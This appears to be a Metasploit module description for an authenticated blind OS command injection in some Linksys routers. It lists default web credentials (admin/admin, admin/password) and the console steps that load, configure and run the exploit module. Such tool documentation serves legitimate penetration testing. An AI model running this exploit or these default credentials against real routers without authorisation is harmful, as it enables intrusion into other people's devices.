Some Linksys Routers are vulnerable to an authenticated OS command injection. Default credentials for the web interface are admin/admin or admin/password. Since it is a blind os command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/http/linksys_e1500_apply_exec
msf exploit(linksys_e1500_apply_exec) > show targets
...targets...
msf exploit(linksys_e1500_apply_exec) > set TARGET < target-id >
msf exploit(linksys_e1500_apply_exec) > show options
...show and set options...
msf exploit(linksys_e1500_apply_exec) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
